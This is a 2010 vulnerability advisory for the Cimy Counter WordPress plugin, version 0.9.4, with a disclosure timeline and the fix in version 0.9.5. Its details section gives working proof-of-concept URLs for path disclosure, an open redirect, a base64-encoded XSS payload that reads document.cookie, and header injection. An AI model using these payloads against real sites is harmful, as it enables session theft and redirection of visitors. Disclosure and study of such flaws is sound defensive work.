Advisory: Vulnerabilities in Cimy Counter for WordPress

vendor:

Cimy Counter

by:

sebug.net

7,5

CVSS

HIGH

Full path disclosure, Redirector, Cross-Site Scripting and HTTP Response Spitting

200, 601, 79, 113

CWE

Product Name: Cimy Counter

Affected Version From: 0.9.4

Affected Version To: 0.9.4

Patch Exists: YES

Related CWE: N/A

CPE: cimy_counter

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WordPress

2010

Advisory: Vulnerabilities in Cimy Counter for WordPress

Full path disclosure can be exploited by sending a GET request to the vulnerable URL. Redirector can be exploited by sending a GET request with malicious URL. XSS can be exploited by sending a GET request with malicious data. HTTP Response Spitting can be exploited by sending a GET request with malicious header.

Mitigation:

Upgrade to Cimy Counter 0.9.5 or later version

Source

Exploit-DB raw data:

----------------------------
Advisory: Vulnerabilities in Cimy Counter for WordPress
-----------------------------
URL: http://sebug.net/exploit/19862/
-----------------------------
Affected products: Cimy Counter 0.9.4 and previous versions.
-----------------------------
Timeline:

20.04.2010 - found vulnerabilities.
28.04.2010 - announced at my site.
29.04.2010 - informed developer.
06.05.2010 - developer released Cimy Counter 0.9.5. In version 0.9.5 the
author fixed all mentioned vulnerabilities except Redirector (aka URL
Redirector Abuse in WASC TC v2). And I gave him addition argumentation to
fix Redirector hole also.
24.06.2010 - disclosed at my site.
-----------------------------
Details:

These are Full path disclosure, Redirector, Cross-Site Scripting and HTTP
Response Spitting vulnerabilities.

Full path disclosure:

http://site/wp-content/plugins/cimy-counter/cimy_counter.php

http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=%0A1

Redirector:

http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=http://websecurity.com.ua

XSS:

http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2b

HTTP Response Spitting:

http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=TestCounter&fn=%0AHeader:test

Works at old versions of PHP.